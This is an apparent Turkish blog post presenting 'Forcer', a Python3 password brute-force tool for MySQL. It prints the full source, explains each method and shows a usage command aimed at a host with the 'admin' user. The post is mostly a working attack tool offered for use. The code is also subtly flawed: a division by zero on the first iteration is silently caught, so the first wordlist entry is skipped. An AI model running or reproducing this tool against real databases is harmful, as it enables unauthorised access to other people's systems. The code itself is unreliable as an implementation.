Forcer, MySQL veritabanları için geliştirilmiş bir brute-force tooludur. Basit bir algoritmaya sahip olan bu tool Python3 ile kodlanmışıtr.
Algoritma
Forcer kendisine verilen host, username ve wordlist bilgilerini kullanarak hedef sisteme bağlantı kurulana kadar bağlanmaya çalışır (şifre denemesi yapar). Bağlantı kurulduğunda ise bağlanılan şifreyi ekrana basar. Forcer’ın asıl algoritmasında olup bu resimde olmayan bazı modüller bulunmaktadır, bu özellikler toolun bilgi fazladan vermesi için kullanılmıştır.
Geliştirme
Toolun geliştirilmesinde modül çeşitliliği ve kolay kullanılabilirliğinden dolayı Python3 kullanılmıştır. Kullanılan modüller:
- PyMySQL Module
- Sys Module
- Datetime Module
- Time Module
- Threading Module # Gerek olmayabilir…
Detaylı bilgi için Github reposuna bakabilirsiniz.
Forcer (this link opens in a new window) by programmer-666 (this link opens in a new window)
Forcer is a Brute Force attacking tool for MySQL databases.
Kodlar
import pymysql, sys, datetime, time
from threading import Thread
class Forcer:
def __init__(self, host = "127.0.0.1", user = "root", wls = "wordlist.txt"):
self.__host = host
self.__user = user
self.__wordlistname = wls
self.TakeWordlist()
#self.CalcTime()
self.Attack()
def ReturnSettings(self):
return(self.__host, self.__user, self.__wordlist)
def TakeWordlist(self):
with open(self.__wordlistname) as wls:
self.__wordlist = wls.read().split()
def Attack(self):
self.__startdate = datetime.datetime.now()
self.__finishdate = 0
print(f"-*- Attack Started -*-\nWords:{len(self.__wordlist)}")
for i in range(len(self.__wordlist)):
try:
self.__finishdate = datetime.datetime.now()
ort =+ (self.__finishdate.microsecond-self.__startdate.microsecond)/i
print("{}\t{}\t{}".format(i, self.__finishdate-self.__startdate, self.__wordlist[i]))
pymysql.connect(host=self.__host, user=self.__user, password=self.__wordlist[i])
except:
pass
else:
print(f"Found: {self.__wordlist[i]} [{self.__finishdate-self.__startdate}]")
sys.exit(1)
break
if __name__ == "__main__":
f = Forcer(host = sys.argv[1], user = sys.argv[2], wls = sys.argv[3])
İnceleme
Sırasıyla inceleyecek olursak, ilk iki satır modüllerin dahil edilmesiyle ilgili. Sonrasında bir class tanımlanmakta.
def __init__(self, host, user, wls)
Bu fonksiyonda dışarıdan gelen bilgiler sınıfın içerisine dahil edilmiştir. host, user ve wls parametreleri saldırı sırasında kullanılacak değişkenlerdir.
TakeWordlist ve Attack metotları ile birlikte saldırı işlemi başlatılır.
def TakeWordlist(self)
Bu metotta sınıfın içerisine dahil edilen wordlist açılır ve içeriği (kelimeler) sınıfa aktarılıp saldırıda kullanılmak üzere bekletilir.
def Attack(self)
Saldırıyı başlatan metot. Metodun ilk satırlarında başlangıç ve bitiş zamanını tutan değişkenler tanımlanır sonrasında saldırını başladığını bildiren bir çıktıdan sonra program wordlistin uzunluğu kadar dönecek bir döngüye girer ve try-except-else bloğu başlar.
Try bloğunda programram veritabanına bağlanmayı dener, başaramazsa except’e girer sonrasında try bloğuna geri döner. Bu işlem bağlantı kurulana kadar devam eder, bağlantı kurulduğunda ise program else bloğuna girip şifreyi gösterir.
Try
Bitiş zamanı tanımlanır ve sürenin ortalaması alınıp değişkene aktarılır ( finish – start / i ). Ekrana denenen kelime ve geçen zaman bilgisi yazdırılır, son olarak pymysql.connect metoddu ile bağlantı denenir.
Except
Bağlantının başarısız olacağı zaman programın girdiği blok, pass.
Else
Pymysql.connect ile veritabanına bağlantının sağlanması durumunda programın gireceği blok. Program bu bloğa girdiğinde ekrana şifreyi yazdıracak ve sys.exit(1) komutuyla çıkış yapacaktır.
Kullanımı
$ python3 forcer.py 192.168.2.32 admin /home/doe/wlists/wls.txt
Sırasıyla host, kullanıcı adı ve wordlist parametreleri girilerek saldırı başlatılır.